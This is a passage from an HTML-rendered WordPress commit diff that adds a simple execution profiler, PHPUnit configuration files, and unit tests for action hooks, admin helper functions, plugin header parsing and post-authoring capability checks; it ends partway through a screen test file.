<div class="addfile"><h4>Added: trunk/tests/includes/wp-profiler.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/includes/wp-profiler.php                             (rev 0)
+++ trunk/tests/includes/wp-profiler.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,216 @@
</span><ins>+<?php
+
+/*
+A simple manually-instrumented profiler for WordPress.
+
+This records basic execution time, and a summary of the actions and SQL queries run within each block.
+
+start() and stop() must be called in pairs, for example:
+
+function something_to_profile() {
+       wppf_start(__FUNCTION__);
+       do_stuff();
+       wppf_stop();
+}
+
+Multiple profile blocks are permitted, and they may be nested.
+
+*/
+
+class WPProfiler {
+       var $stack;
+       var $profile;
+
+       // constructor
+       function WPProfiler() {
+               $this->stack = array();
+               $this->profile = array();
+       }
+
+       function start($name) {
+               $time = $this->microtime();
+
+               if (!$this->stack) {
+                       // log all actions and filters
+                       add_filter('all', array(&$this, 'log_filter'));
+               }
+
+               // reset the wpdb queries log, storing it on the profile stack if necessary
+               global $wpdb;
+               if ($this->stack) {
+                       $this->stack[count($this->stack)-1]['queries'] = $wpdb->queries;
+               }
+               $wpdb->queries = array();
+
+               global $wp_object_cache;
+
+               $this->stack[] = array(
+                       'start' => $time,
+                       'name' => $name,
+                       'cache_cold_hits' => $wp_object_cache->cold_cache_hits,
+                       'cache_warm_hits' => $wp_object_cache->warm_cache_hits,
+                       'cache_misses' => $wp_object_cache->cache_misses,
+                       'cache_dirty_objects' => $this->_dirty_objects_count($wp_object_cache->dirty_objects),
+                       'actions' => array(),
+                       'filters' => array(),
+                       'queries' => array(),
+               );
+
+       }
+
+       function stop() {
+               $item = array_pop($this->stack);
+               $time = $this->microtime($item['start']);
+               $name = $item['name'];
+
+               global $wpdb;
+               $item['queries'] = $wpdb->queries;
+               global $wp_object_cache;
+
+               $cache_dirty_count = $this->_dirty_objects_count($wp_object_cache->dirty_objects);
+               $cache_dirty_delta = $this->array_sub($cache_dirty_count, $item['cache_dirty_objects']);
+
+               if (isset($this->profile[$name])) {
+                       $this->profile[$name]['time'] += $time;
+                       $this->profile[$name]['calls'] ++;
+                       $this->profile[$name]['cache_cold_hits'] += ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']);
+                       $this->profile[$name]['cache_warm_hits'] += ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']);
+                       $this->profile[$name]['cache_misses'] += ($wp_object_cache->cache_misses - $item['cache_misses']);
+                       $this->profile[$name]['cache_dirty_objects'] = array_add( $this->profile[$name]['cache_dirty_objects'], $cache_dirty_delta) ;
+                       $this->profile[$name]['actions'] = array_add( $this->profile[$name]['actions'], $item['actions'] );
+                       $this->profile[$name]['filters'] = array_add( $this->profile[$name]['filters'], $item['filters'] );
+                       $this->profile[$name]['queries'] = array_add( $this->profile[$name]['queries'], $item['queries'] );
+                       #$this->_query_summary($item['queries'], $this->profile[$name]['queries']);
+
+               }
+               else {
+                       $queries = array();
+                       $this->_query_summary($item['queries'], $queries);
+                       $this->profile[$name] = array(
+                               'time' => $time,
+                               'calls' => 1,
+                               'cache_cold_hits' => ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']),
+                               'cache_warm_hits' => ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']),
+                               'cache_misses' => ($wp_object_cache->cache_misses - $item['cache_misses']),
+                               'cache_dirty_objects' => $cache_dirty_delta,
+                               'actions' => $item['actions'],
+                               'filters' => $item['filters'],
+#                              'queries' => $item['queries'],
+                               'queries' => $queries,
+                       );
+               }
+
+               if (!$this->stack) {
+                       remove_filter('all', array(&$this, 'log_filter'));
+               }
+       }
+
+       function microtime($since = 0.0) {
+               list($usec, $sec) = explode(' ', microtime());
+               return (float)$sec + (float)$usec - $since;
+       }
+
+       function log_filter($tag) {
+               if ($this->stack) {
+                       global $wp_actions;
+                       if ($tag == end($wp_actions))
+                               @$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+                       else
+                               @$this->stack[count($this->stack)-1]['filters'][$tag] ++;
+               }
+               return $arg;
+       }
+
+       function log_action($tag) {
+               if ($this->stack)
+                       @$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+       }
+
+       function _current_action() {
+               global $wp_actions;
+               return $wp_actions[count($wp_actions)-1];
+       }
+
+       function results() {
+               return $this->profile;
+       }
+
+       function _query_summary($queries, &$out) {
+               foreach ($queries as $q) {
+                       $sql = $q[0];
+                       $sql = preg_replace('/(WHERE \w+ =) \d+/', '$1 x', $sql);
+                       $sql = preg_replace('/(WHERE \w+ =) \'\[-\w]+\'/', '$1 \'xxx\'', $sql);
+
+                       @$out[$sql] ++;
+               }
+               asort($out);
+               return;
+       }
+
+       function _query_count($queries) {
+               // this requires the savequeries patch at http://trac.wordpress.org/ticket/5218
+               $out = array();
+               foreach ($queries as $q) {
+                       if (empty($q[2]))
+                               @$out['unknown'] ++;
+                       else
+                               @$out[$q[2]] ++;
+               }
+               return $out;
+       }
+
+       function _dirty_objects_count($dirty_objects) {
+               $out = array();
+               foreach (array_keys($dirty_objects) as $group)
+                       $out[$group] = count($dirty_objects[$group]);
+               return $out;
+       }
+
+       function array_add($a, $b) {
+               $out = $a;
+               foreach (array_keys($b) as $key)
+                       if (array_key_exists($key, $out))
+                               $out[$key] += $b[$key];
+                       else
+                               $out[$key] = $b[$key];
+               return $out;
+       }
+
+       function array_sub($a, $b) {
+               $out = $a;
+               foreach (array_keys($b) as $key)
+                       if (array_key_exists($key, $b))
+                               $out[$key] -= $b[$key];
+               return $out;
+       }
+
+       function print_summary() {
+               $results = $this->results();
+
+               printf("\nname                      calls   time action filter   warm   cold misses  dirty\n");
+               foreach ($results as $name=>$stats) {
+                       printf("%24.24s %6d %6.4f %6d %6d %6d %6d %6d %6d\n", $name, $stats['calls'], $stats['time'], array_sum($stats['actions']), array_sum($stats['filters']), $stats['cache_warm_hits'], $stats['cache_cold_hits'], $stats['cache_misses'], array_sum($stats['cache_dirty_objects']));
+               }
+       }
+}
+
+global $wppf;
+$wppf = new WPProfiler();
+
+function wppf_start($name) {
+       $GLOBALS['wppf']->start($name);
+}
+
+function wppf_stop() {
+       $GLOBALS['wppf']->stop();
+}
+
+function wppf_results() {
+       return $GLOBALS['wppf']->results();
+}
+
+function wppf_print_summary() {
+       $GLOBALS['wppf']->print_summary();
+}
+
+?>
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsmultisitexml"></a>
<div class="addfile"><h4>Added: trunk/tests/multisite.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/multisite.xml                                (rev 0)
+++ trunk/tests/multisite.xml   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,28 @@
</span><ins>+<phpunit
+               bootstrap="includes/bootstrap.php"
+        backupGlobals="false"
+        colors="true"
+        >
+    <php>
+        <const name="WP_TESTS_MULTISITE" value="1" />
+    </php>
+    <testsuites>
+        <!-- Default test suite to run all tests -->
+        <testsuite>
+            <directory suffix=".php">tests</directory>
+            <exclude>tests/actions/closures.php</exclude>
+            <exclude>tests/image/editor.php</exclude>
+            <exclude>tests/image/editor_gd.php</exclude>
+            <exclude>tests/image/editor_imagick.php</exclude>
+            <file phpVersion="5.3.0">tests/actions/closures.php</file>
+            <file phpVersion="5.3.0">tests/image/editor.php</file>
+            <file phpVersion="5.3.0">tests/image/editor_gd.php</file>
+            <file phpVersion="5.3.0">tests/image/editor_imagick.php</file>
+        </testsuite>
+    </testsuites>
+    <groups>
+        <exclude>
+            <group>ajax</group>
+        </exclude>
+    </groups>
+</phpunit>
</ins></span></pre></div>
<a id="trunktestsphpunitxmldist"></a>
<div class="addfile"><h4>Added: trunk/tests/phpunit.xml.dist (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/phpunit.xml.dist                             (rev 0)
+++ trunk/tests/phpunit.xml.dist        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,28 @@
</span><ins>+<phpunit
+       bootstrap="includes/bootstrap.php"
+        backupGlobals="false"
+        colors="true"
+        >
+    <testsuites>
+        <!-- Default test suite to run all tests -->
+        <testsuite>
+            <directory suffix=".php">tests</directory>
+            <exclude>tests/actions/closures.php</exclude>
+            <exclude>tests/image/editor.php</exclude>
+            <exclude>tests/image/editor_gd.php</exclude>
+            <exclude>tests/image/editor_imagick.php</exclude>
+            <file phpVersion="5.3.0">tests/actions/closures.php</file>
+            <file phpVersion="5.3.0">tests/image/editor.php</file>
+            <file phpVersion="5.3.0">tests/image/editor_gd.php</file>
+            <file phpVersion="5.3.0">tests/image/editor_imagick.php</file>
+        </testsuite>
+    </testsuites>
+    <groups>
+        <exclude>
+            <group>ajax</group>
+        </exclude>
+    </groups>
+    <logging>
+        <log type="junit" target="build/logs/junit.xml" logIncompleteSkipped="false"/>
+    </logging>
+</phpunit>
</ins></span></pre></div>
<a id="trunkteststestsactionscallbacksphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/actions/callbacks.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/actions/callbacks.php                          (rev 0)
+++ trunk/tests/tests/actions/callbacks.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,22 @@
</span><ins>+<?php
+
+/**
+ * @group hooks
+ */
+class Tests_Actions_Callbacks extends WP_UnitTestCase {
+
+       /**
+        * @ticket 23265
+        */
+       function test_callback_representations() {
+               $tag = __FUNCTION__;
+
+               $this->assertFalse( has_action( $tag ) );
+
+               add_action( $tag, array( 'Class', 'method' ) );
+
+               $this->assertEquals( 10, has_action( $tag, array( 'Class', 'method' ) ) );
+
+               $this->assertEquals( 10, has_action( $tag, 'Class::method' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsactionsclosuresphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/actions/closures.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/actions/closures.php                           (rev 0)
+++ trunk/tests/tests/actions/closures.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,38 @@
</span><ins>+<?php
+
+/**
+ * Test do_action() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Actions_Closures extends WP_UnitTestCase {
+
+       /**
+        * @ticket 10493
+        */
+       function test_action_closure() {
+               $tag = 'test_action_closure';
+               $closure = function($a, $b) { $GLOBALS[$a] = $b;};
+               add_action($tag, $closure, 10, 2);
+
+               $this->assertSame( 10, has_action($tag, $closure) );
+
+               $context = array( rand_str(), rand_str() );
+               do_action($tag, $context[0], $context[1]);
+
+               $this->assertSame($GLOBALS[$context[0]], $context[1]);
+
+               $tag2 = 'test_action_closure_2';
+               $closure2 = function() { $GLOBALS['closure_no_args'] = true;};
+               add_action($tag2, $closure2);
+
+               $this->assertSame( 10, has_action($tag2, $closure2) );
+
+               do_action($tag2);
+
+               $this->assertTrue($GLOBALS['closure_no_args']);
+
+               remove_action( $tag, $closure );
+               remove_action( $tag2, $closure2 );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsactionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/actions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/actions.php                            (rev 0)
+++ trunk/tests/tests/actions.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,253 @@
</span><ins>+<?php
+
+/**
+ * Test do_action() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Actions extends WP_UnitTestCase {
+
+       function test_simple_action() {
+               $a = new MockAction();
+               $tag = 'test_action';
+
+               add_action($tag, array(&$a, 'action'));
+               do_action($tag);
+
+               // only one event occurred for the hook, with empty args
+               $this->assertEquals(1, $a->get_call_count());
+               // only our hook was called
+               $this->assertEquals(array($tag), $a->get_tags());
+
+               $args = array_pop($a->get_args());
+               $this->assertEquals(array(''), $args);
+       }
+
+       function test_remove_action() {
+               $a = new MockAction();
+               $tag = rand_str();
+
+               add_action($tag, array(&$a, 'action'));
+               do_action($tag);
+
+               // make sure our hook was called correctly
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+
+               // now remove the action, do it again, and make sure it's not called this time
+               remove_action($tag, array(&$a, 'action'));
+               do_action($tag);
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+
+       }
+
+       function test_has_action() {
+                       $tag = rand_str();
+                       $func = rand_str();
+
+                       $this->assertFalse( has_action($tag, $func) );
+                       $this->assertFalse( has_action($tag) );
+                       add_action($tag, $func);
+                       $this->assertEquals( 10, has_action($tag, $func) );
+                       $this->assertTrue( has_action($tag) );
+                       remove_action($tag, $func);
+                       $this->assertFalse( has_action($tag, $func) );
+                       $this->assertFalse( has_action($tag) );
+       }
+
+       // one tag with multiple actions
+       function test_multiple_actions() {
+               $a1 = new MockAction();
+               $a2 = new MockAction();
+               $tag = rand_str();
+
+               // add both actions to the hook
+               add_action($tag, array(&$a1, 'action'));
+               add_action($tag, array(&$a2, 'action'));
+
+               do_action($tag);
+
+               // both actions called once each
+               $this->assertEquals(1, $a1->get_call_count());
+               $this->assertEquals(1, $a2->get_call_count());
+       }
+
+       function test_action_args_1() {
+               $a = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+
+               add_action($tag, array(&$a, 'action'));
+               // call the action with a single argument
+               do_action($tag, $val);
+
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($val), array_pop($a->get_args()));
+       }
+
+       function test_action_args_2() {
+               $a1 = new MockAction();
+               $a2 = new MockAction();
+               $tag = rand_str();
+               $val1 = rand_str();
+               $val2 = rand_str();
+
+               // a1 accepts two arguments, a2 doesn't
+               add_action($tag, array(&$a1, 'action'), 10, 2);
+               add_action($tag, array(&$a2, 'action'));
+               // call the action with two arguments
+               do_action($tag, $val1, $val2);
+
+               // a1 should be called with both args
+               $this->assertEquals(1, $a1->get_call_count());
+               $this->assertEquals(array($val1, $val2), array_pop($a1->get_args()));
+
+               // a2 should be called with one only
+               $this->assertEquals(1, $a2->get_call_count());
+               $this->assertEquals(array($val1), array_pop($a2->get_args()));
+       }
+
+       function test_action_priority() {
+               $a = new MockAction();
+               $tag = rand_str();
+
+               add_action($tag, array(&$a, 'action'), 10);
+               add_action($tag, array(&$a, 'action2'), 9);
+               do_action($tag);
+
+               // two events, one per action
+               $this->assertEquals(2, $a->get_call_count());
+
+               $expected = array (
+                       // action2 is called first because it has priority 9
+                       array (
+                               'action' => 'action2',
+                               'tag' => $tag,
+                               'args' => array('')
+                       ),
+                       // action 1 is called second
+                       array (
+                               'action' => 'action',
+                               'tag' => $tag,
+                               'args' => array('')
+                       ),
+               );
+
+               $this->assertEquals($expected, $a->get_events());
+       }
+
+       function test_did_action() {
+               $tag1 = rand_str();
+               $tag2 = rand_str();
+
+               // do action tag1 but not tag2
+               do_action($tag1);
+               $this->assertEquals(1, did_action($tag1));
+               $this->assertEquals(0, did_action($tag2));
+
+               // do action tag2 a random number of times
+               $count = rand(0, 10);
+               for ($i=0; $i<$count; $i++)
+                       do_action($tag2);
+
+               // tag1's count hasn't changed, tag2 should be correct
+               $this->assertEquals(1, did_action($tag1));
+               $this->assertEquals($count, did_action($tag2));
+
+       }
+
+       function test_all_action() {
+               $a = new MockAction();
+               $tag1 = rand_str();
+               $tag2 = rand_str();
+
+               // add an 'all' action
+               add_action('all', array(&$a, 'action'));
+               $this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+               // do some actions
+               do_action($tag1);
+               do_action($tag2);
+               do_action($tag1);
+               do_action($tag1);
+
+               // our action should have been called once for each tag
+               $this->assertEquals(4, $a->get_call_count());
+               // only our hook was called
+               $this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags());
+
+               remove_action('all', array(&$a, 'action'));
+               $this->assertFalse(has_filter('all', array(&$a, 'action')));
+
+       }
+
+       function test_remove_all_action() {
+               $a = new MockAction();
+               $tag = rand_str();
+
+               add_action('all', array(&$a, 'action'));
+               $this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+               do_action($tag);
+
+               // make sure our hook was called correctly
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+
+               // now remove the action, do it again, and make sure it's not called this time
+               remove_action('all', array(&$a, 'action'));
+               $this->assertFalse(has_filter('all', array(&$a, 'action')));
+               do_action($tag);
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+       }
+
+       function test_action_ref_array() {
+               $obj = new stdClass();
+               $a = new MockAction();
+               $tag = rand_str();
+
+               add_action($tag, array(&$a, 'action'));
+
+               do_action_ref_array($tag, array(&$obj));
+
+               $args = $a->get_args();
+               $this->assertSame($args[0][0], $obj);
+               // just in case we don't trust assertSame
+               $obj->foo = true;
+               $this->assertFalse( empty($args[0][0]->foo) );
+       }
+
+       /**
+        * @ticket 11241
+        */
+       function test_action_keyed_array() {
+               $a = new MockAction();
+
+               $tag = rand_str();
+
+               add_action($tag, array(&$a, 'action'));
+
+               $context = array( rand_str() => rand_str() );
+               do_action($tag, $context);
+
+               $args = $a->get_args();
+               $this->assertSame($args[0][0], $context);
+
+               $context2 = array( rand_str() => rand_str(), rand_str() => rand_str() );
+               do_action($tag, $context2);
+
+               $args = $a->get_args();
+               $this->assertSame($args[1][0], $context2);
+
+       }
+
+       function test_action_self_removal() {
+               add_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+               do_action( 'test_action_self_removal' );
+               $this->assertEquals( 1, did_action( 'test_action_self_removal' ) );
+       }
+
+       function action_self_removal() {
+               remove_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsadminincludesFilephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/admin/includesFile.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/admin/includesFile.php                         (rev 0)
+++ trunk/tests/tests/admin/includesFile.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,38 @@
</span><ins>+<?php
+
+/**
+ * @group file
+ * @group admin
+ */
+class Tests_Admin_includesFile extends WP_UnitTestCase {
+
+       function setUp() {
+               parent::setUp();
+       }
+
+       /**
+        * @ticket 20449
+        */
+       function test_get_home_path() {
+               $home = get_option( 'home' );
+               $siteurl = get_option( 'siteurl' );
+               $sfn = $_SERVER['SCRIPT_FILENAME'];
+               $this->assertEquals( str_replace( '\\', '/', ABSPATH ), get_home_path() );
+
+               update_option( 'home', 'http://localhost' );
+               update_option( 'siteurl', 'http://localhost/wp' );
+
+               $_SERVER['SCRIPT_FILENAME'] = 'D:\root\vhosts\site\httpdocs\wp\wp-admin\options-permalink.php';
+               $this->assertEquals( 'D:/root/vhosts/site/httpdocs/', get_home_path() );
+
+               $_SERVER['SCRIPT_FILENAME'] = '/Users/foo/public_html/trunk/wp/wp-admin/options-permalink.php';
+               $this->assertEquals( '/Users/foo/public_html/trunk/', get_home_path() );
+
+               $_SERVER['SCRIPT_FILENAME'] = 'S:/home/wordpress/trunk/wp/wp-admin/options-permalink.php';
+               $this->assertEquals( 'S:/home/wordpress/trunk/', get_home_path() );
+
+               update_option( 'home', $home );
+               update_option( 'siteurl', $siteurl );
+               $_SERVER['SCRIPT_FILENAME'] = $sfn;
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsadminincludesMiscphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/admin/includesMisc.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/admin/includesMisc.php                         (rev 0)
+++ trunk/tests/tests/admin/includesMisc.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,25 @@
</span><ins>+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesMisc extends WP_UnitTestCase {
+       function test_shorten_url() {
+               $tests = array(
+                       'wordpress\.org/about/philosophy'
+                               => 'wordpress\.org/about/philosophy', // no longer strips slashes
+                       'wordpress.org/about/philosophy'
+                               => 'wordpress.org/about/philosophy',
+                       'http://wordpress.org/about/philosophy/'
+                               => 'wordpress.org/about/philosophy', // remove http, trailing slash
+                       'http://www.wordpress.org/about/philosophy/'
+                               => 'wordpress.org/about/philosophy', // remove http, www
+                       'http://wordpress.org/about/philosophy/#box'
+                               => 'wordpress.org/about/philosophy/#box', // don't shorten 35 characters
+                       'http://wordpress.org/about/philosophy/#decisions'
+                               => 'wordpress.org/about/philosophy/#&hellip;', // shorten to 32 if > 35 after cleaning
+               );
+               foreach ( $tests as $k => $v )
+                       $this->assertEquals( $v, url_shorten( $k ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsadminincludesPluginphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/admin/includesPlugin.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/admin/includesPlugin.php                               (rev 0)
+++ trunk/tests/tests/admin/includesPlugin.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,59 @@
</span><ins>+<?php
+/**
+ * @group plugins
+ * @group admin
+ */
+class Tests_Admin_includesPlugin extends WP_UnitTestCase {
+       function test_get_plugin_data() {
+               $data = get_plugin_data( DIR_TESTDATA . '/plugins/hello.php' );
+
+               $default_headers = array(
+                       'Name' => 'Hello Dolly',
+                       'Title' => '<a href="http://wordpress.org/#" title="Visit plugin homepage">Hello Dolly</a>',
+                       'PluginURI' => 'http://wordpress.org/#',
+                       'Description' => 'This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page. <cite>By <a href="http://ma.tt/" title="Visit author homepage">Matt Mullenweg</a>.</cite>',
+                       'Author' => '<a href="http://ma.tt/" title="Visit author homepage">Matt Mullenweg</a>',
+                       'AuthorURI' => 'http://ma.tt/',
+                       'Version' => '1.5.1',
+                       'TextDomain' => 'hello-dolly',
+                       'DomainPath' => ''
+               );
+
+               $this->assertTrue( is_array($data) );
+
+               foreach ($default_headers as $name => $value) {
+                       $this->assertTrue(isset($data[$name]));
+                       $this->assertEquals($value, $data[$name]);
+               }
+       }
+
+       function test_menu_page_url() {
+               $current_user = get_current_user_id();
+               wp_set_current_user( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+               update_option( 'siteurl', 'http://example.com' );
+
+               // add some pages
+               add_options_page( 'Test Settings', 'Test Settings', 'manage_options', 'testsettings', 'mt_settings_page' );
+               add_management_page( 'Test Tools', 'Test Tools', 'manage_options', 'testtools', 'mt_tools_page' );
+               add_menu_page( 'Test Toplevel', 'Test Toplevel', 'manage_options', 'mt-top-level-handle', 'mt_toplevel_page' );
+               add_submenu_page( 'mt-top-level-handle', 'Test Sublevel', 'Test Sublevel', 'manage_options', 'sub-page', 'mt_sublevel_page' );
+               add_submenu_page( 'mt-top-level-handle', 'Test Sublevel 2', 'Test Sublevel 2', 'manage_options', 'sub-page2', 'mt_sublevel_page2' );
+               add_theme_page( 'With Spaces', 'With Spaces', 'manage_options', 'With Spaces', 'mt_tools_page' );
+               add_pages_page( 'Appending Query Arg', 'Test Pages', 'edit_pages', 'testpages', 'mt_pages_page' );
+
+               $expected['testsettings'] = 'http://example.com/wp-admin/options-general.php?page=testsettings';
+               $expected['testtools'] = 'http://example.com/wp-admin/tools.php?page=testtools';
+               $expected['mt-top-level-handle'] = 'http://example.com/wp-admin/admin.php?page=mt-top-level-handle';
+               $expected['sub-page'] = 'http://example.com/wp-admin/admin.php?page=sub-page';
+               $expected['sub-page2'] = 'http://example.com/wp-admin/admin.php?page=sub-page2';
+               $expected['not_registered'] = '';
+               $expected['With Spaces'] = 'http://example.com/wp-admin/themes.php?page=WithSpaces';
+               $expected['testpages'] = 'http://example.com/wp-admin/edit.php?post_type=page&#038;page=testpages';
+
+               foreach ($expected as $name => $value) {
+                       $this->assertEquals( $value, menu_page_url( $name, false ) );
+               }
+
+               wp_set_current_user( $current_user );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsadminincludesPostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/admin/includesPost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/admin/includesPost.php                         (rev 0)
+++ trunk/tests/tests/admin/includesPost.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,117 @@
</span><ins>+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesPost extends WP_UnitTestCase {
+
+       function test__wp_translate_postdata_cap_checks_contributor() {
+               $contributor_id = $this->factory->user->create( array( 'role' => 'contributor' ) );
+               $editor_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               wp_set_current_user( $contributor_id );
+
+               // Create New Draft Post
+               $_post_data = array();
+               $_post_data['post_author'] = $contributor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['saveasdraft'] = true;
+
+               $_results = _wp_translate_postdata( false, $_post_data );
+               $this->assertNotInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+               $this->assertEquals( 'draft', $_results['post_status'] );
+
+               // Submit Post for Approval
+               $_post_data = array();
+               $_post_data['post_author'] = $contributor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['publish'] = true;
+
+               $_results = _wp_translate_postdata( false, $_post_data );
+               $this->assertNotInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+               $this->assertEquals( 'pending', $_results['post_status'] );
+
+               // Create New Draft Post for another user
+               $_post_data = array();
+               $_post_data['post_author'] = $editor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['saveasdraft'] = true;
+
+               $_results = _wp_translate_postdata( false, $_post_data );
+               $this->assertInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+               $this->assertEquals( 'You are not allowed to create posts as this user.', $_results->get_error_message() );
+
+               // Edit Draft Post for another user
+               $_post_data = array();
+               $_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $editor_id ) );
+               $_post_data['post_author'] = $editor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['post_status'] = 'draft';
+               $_post_data['saveasdraft'] = true;
+
+               $_results = _wp_translate_postdata( true, $_post_data );
+               $this->assertInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+               $this->assertEquals( 'You are not allowed to edit posts as this user.', $_results->get_error_message() );
+
+               wp_set_current_user( 0 );
+       }
+
+       function test__wp_translate_postdata_cap_checks_editor() {
+               $contributor_id = $this->factory->user->create( array( 'role' => 'contributor' ) );
+               $editor_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               wp_set_current_user( $editor_id );
+
+               // Create New Draft Post
+               $_post_data = array();
+               $_post_data['post_author'] = $editor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['saveasdraft'] = true;
+
+               $_results = _wp_translate_postdata( false, $_post_data );
+               $this->assertNotInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+               $this->assertEquals( 'draft', $_results['post_status'] );
+
+               // Publish Post
+               $_post_data = array();
+               $_post_data['post_author'] = $editor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['publish'] = true;
+
+               $_results = _wp_translate_postdata( false, $_post_data );
+               $this->assertNotInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+               $this->assertEquals( 'publish', $_results['post_status'] );
+
+               // Create New Draft Post for another user
+               $_post_data = array();
+               $_post_data['post_author'] = $contributor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['saveasdraft'] = true;
+
+               $_results = _wp_translate_postdata( false, $_post_data );
+               $this->assertNotInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+               $this->assertEquals( 'draft', $_results['post_status'] );
+
+               // Edit Draft Post for another user
+               $_post_data = array();
+               $_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $contributor_id ) );
+               $_post_data['post_author'] = $contributor_id;
+               $_post_data['post_type'] = 'post';
+               $_post_data['post_status'] = 'draft';
+               $_post_data['saveasdraft'] = true;
+
+               $_results = _wp_translate_postdata( true, $_post_data );
+               $this->assertNotInstanceOf( 'WP_Error', $_results );
+               $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+               $this->assertEquals( 'draft', $_results['post_status'] );
+
+               wp_set_current_user( 0 );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsadminincludesScreenphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/admin/includesScreen.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/admin/includesScreen.php                               (rev 0)
+++ trunk/tests/tests/admin/includesScreen.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,207 @@
</span><ins>+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesScreen extends WP_UnitTestCase {
+       var $core_screens = array(
+               'index.php' => array( 'base' => 'dashboard', 'id' => 'dashboard' ),
+               'edit.php' => array( 'base' => 'edit', 'id' => 'edit-post', 'post_type' => 'post' ),
